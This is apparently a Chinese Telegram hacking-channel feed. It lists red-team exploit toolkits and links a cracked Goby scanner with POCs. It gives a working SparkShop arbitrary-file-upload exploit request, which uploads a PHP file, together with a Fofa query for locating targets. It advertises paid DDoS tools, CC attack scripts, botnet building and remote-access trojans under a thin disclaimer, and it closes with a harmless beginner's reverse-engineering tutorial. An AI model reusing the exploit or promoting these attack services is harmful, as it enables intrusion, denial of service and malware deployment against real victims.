分享一些资料

#工具# 红队武器库漏洞利用工具合集整理

海康威视Hikvision综合漏洞利用工具
大华Dahua综合漏洞利用工具
Nacos综合漏洞利用工具
Vcenter综合漏洞利用工具
Fastjson漏洞批量检测工具
Jenkins综合漏洞利用工具
Struts2全版本漏洞检测工具
Thinkphp综合漏洞利用工具
Spring综合漏洞利用工具
Shiro反序列化漏洞综合利用工具
若依RuoYi综合漏洞利用工具
Xxl-job漏洞利用工具
Jboss综合漏洞利用工具
Weblogic综合漏洞利用工具
Tomcat综合漏洞利用工具
帆软反序列化漏洞利用工具
云资产AK-SK利用管理工具
Confluence综合漏洞利用工具
数据库综合利用工具
DecryptTools综合加解密后渗透工具
互联网厂商API利用工具
OA综合漏洞利用工具
信息泄露利用工具
Swagger API信息泄露利用工具
Heapdump敏感信息提取工具
.git泄漏利用工具
SVN源代码利用工具
.DS_Store文件泄露利用工具
.cvs源代码泄露利用工具
Webpack:安全检测的扫描工具

跳转地址：GitHub - onewinner/VulToolsKit: 红队武器库漏洞利用工具合集整理

社会是分层的 越底层就越互相碾压伤害。没有社会资源的人就只能对身边人下手 要想找好朋友好人脉， 那就就去接触更好的圈子 圈子会天然的帮你删除掉大部分人的

#工具 nmap结果转excel工具：https://github.com/xiaoliusec/nmap_to_excel

#工具 #资源 #武器库 Goby红队破解版工具下载
链接: https://pan.baidu.com/s/1m6CxWv30KnPMjP91pzQc8g?pwd=3y85 提取码: 3y85

Goby自身1490个POC+2024年新POC1300个，但部分重复，需自行去重

SparkShop开源商城 uploadFile 任意文件上传漏洞

Fofa:"SparkShop"


POST /api/Common/uploadFile HTTP/2
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR

------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="file";filename="1.php"

<?php phpinfo();unlink(FILE);?>
------WebKitFormBoundaryj7OlOPiiukkdktZR--

每日都会答疑，想报班同学抓紧时间哈

专业级DDoS测试工具与脚本，技术学习的得力导师！

DDoS工具：特惠500，体验专业级DDoS工具，深入了解其工作原理。
远程指导：我们为您提供细致入微的远程教学，确保您轻松上手。
CC/CF脚本：价格从200起，让您通过自动化脚本轻松进行测试。
高性能VPS服务器：提供G口或10G口宽带，满足您的各种学习需求。

免责说明：

本产品与服务专为学习交流而设计，请务必遵守法律法规，严禁用于任何非法行为。
买家需明确承诺，不会将所学内容用于非法用途，任何违法行为将由买家自行承担责任。

我们承诺：

提供个性化的机器、脚本或工具选择，满足您的独特需求。
请注意，由于虚拟产品的特殊性，购买后不支持退款，敬请谅解。

时间宝贵，我们期待与真诚求学的您交流。选择我们，让技术学习更加高效便捷！

web渗透｜黑客教程｜逆向工程｜kaliLinux渗透｜远控免杀:
再次介绍一下会员制度
1.VIP1基础资料会员：原价499先活动399内容包含（各种独家技术学习资料，4000+本电子书，终身免费更新，学习路线规划，任务布置，任务答疑，自律强的同学首选）
2.VIP2普通辅导会员原价700活动599（问题一对一辅导，定期开展公开课，技术瓶颈助突破，免费更新各种工具，逆向工程享受八折优惠，拉人组队再反200）
3.VIP3私教终身会员原价2999活动1999内容包含（终身私教指导机会，项目合作机会，承诺教所学的一切技术保证毫无保留，一对一辅导，项目合作涉及渗透演练，逆向工程等）

由于最近资料质量提供工具会员群上涨十元，还会再涨想观望朋友们抓紧时间了，早加入早享受👍👍

有一些兄弟问我有什么资历教你们，我ict三等奖，信息安全与管理一等奖，国赛备赛中，教一些脚本小子，小白完全可以，大佬让行🤝🤝

https://t.me/webcould
频道关联群组

君子爱财 取之有道 付出价值 相应报酬
诚接
DDOS搭建｜僵尸网络｜黑客教程｜安卓远控｜pc远控｜逆向分析｜cc搭建
@webabc

#破解软件逆向工程初学者入门

这是三部分系列中的第一部分，旨在分享一些有关 SRE 的知识。
今天给大家带来了基础软件逆向工程教程， 我希望在此之后您有一个基本的想法或直觉来开始并自己解决问题。 除了学习 C++ 或 C 以及对 x86-64 汇编有基本的了解之外，我无法给你好的建议。 此外，您需要对计算机的一般工作原理有一些了解，但阅读本文至少应该为新手揭开该主题的神秘面纱。 在说所有这些内容之前，如果你真的想学习，请自己尝试一下。 如果我说寄存器，而你无法理解这个概念，请在百度上搜索 CPU 寄存器。 如果我说可执行而你不明白，请查一下。 这绝对是有道理的，计算机科学的每个领域都是如此，你只需要尝试一些东西，看看为什么会失败，然后感觉自己像个白痴。 如果某件事看起来像魔法，那只是你还没有足够努力地研究它。 我很乐意，但无法向您解释每个概念（编译器、调试器、ELF/PE 结构等），这就是您需要尽自己的职责的地方。

什么是程序？ 它们如何运行/构建？ 我们如何修改程序？
大多数编程语言只是抽象层，以促进 CPU 和你的思维之间的通信，这意味着你可以说 var x =“HELLO”，而不是编写一堆操作码（CPU 指令），并且有组件为您的计算机提供处理您的声明所需的信息。 它们还促进了不一定与您对 CPU 逻辑的理解有关的过程，但与稍后将打包到可执行文件或您正在构建的任何内容中的数据格式化有关。 我们修改程序的代码，通常是首先获得程序的编译版本（这意味着可执行文件通常会删除所有使人们更容易理解其功能的符号和信息），然后拆开组成它的说明。 只要我们足够了解程序的内部结构，我们实际上可以修改程序行为的各个方面。 这就是为什么“如果你了解逆向工程，一切都是开源的”这句话存在的原因。

程序是如何做事的，你所说的低级东西是什么？
好吧，所以，我们知道一切都是 1 和 0，但自现代计算的早期以来，我们一直在使用某种抽象层的实现，以便能够让计算机做我们希望它们做的事情，您显然可以编写整个代码用十六进制编写程序，只编写操作码并为程序编译提供其他信息，但这显然会非常乏味。 汇编是人类更好地理解与机器级事物非常接近的情况的一种方式，并且对于理解逆向工程软件非常重要。 汇编在 CPU 寄存器之间执行算术比较和操作（将寄存器视为硬件变量，每个寄存器都有不同的用途），这些寄存器使您的程序能够操作和使用存储在计算机（RAM 或其他类型）中的数据的记忆）。 假设您要比较 1 和 2，检查它是否相等，如果不相等则调用一个函数。 这在装配中看起来怎么样？

MOV eax, 0x1 -> 将 1 装入名为 eax 的寄存器
MOV ebx, 0x2 -> 将 2 装入名为 ebx 的寄存器
cmp eax, ebx -> 比较这两个寄存器中的值。 如果它们相等，CPU 内部将设置一个标志，称为 ZF 或零标志，这些标志将用于跳转到下面的指令。
JNZ FUNC_0321932 -> 如果 ZF 不为零，则跳转，这意味着如果 eax != ebx，则跳转到地址 0321932 处的该函数

您也可以直接执行 cmp 0x1, 0x2，但如果您还没有听说过，我希望您至少看一下基本的 asm 指令。 mov指令只是将右边的值移到左边的寄存器中。 您还可以在指针内获取值，但如果您仍在学习所有这些，您甚至不应该考虑这一点。

什么是反编译器？ IDA pro 或 Ghidra 这样的软件有什么作用？
即，反编译器顾名思义，它获取已编译的代码并对其进行反编译。 这意味着，如果我们在汇编中使用之前提到的代码来比较 1 和 2，则在通过反编译器运行文件后我们可能会得到以下结果：
if（1==2）
{
FUNC_1();
} else {
FUNC_2();
}
因此，if 语句将是我们的 cmp 操作，而 JNZ 函数将跳转到伪 C 的 else 部分。如果相等，我们将继续我们的操作，最终调用 FUNC_1 或语句中的任何内容。

-您需要什么来开始？
- 调试器（x64dbg）
- 设置一个实验室虚拟机，最好是 Linux 虚拟机，但选择您的操作系统，只需确保它运行 java 17+。 如果你使用linux，你将能够更容易地理解更多的东西。
-Ghidra，这个工具是NSA开发的开源逆向工程平台。 与 ida 相比，我更喜欢它，因为它是免费的、开源的，总体来说是一个非常好的程序。 https://github.com/NationalSecurityAgenc...10.4_build 。 我们将在下一集中使用此工具来反转二进制文件。 我们有一个反编译器和许多其他东西可以玩。 这是三部分系列中的第一部分，旨在分享一些有关 SRE 的知识。

TG必备的搜索引擎，极搜帮你精准找到，想要的群组、频道、音乐 、视频

👇👇👇点击下方按钮，进行搜索

https://t.me/webcould
频道关联群组 大家进一下

https://t.me/webcould
频道关联群组 大家进一下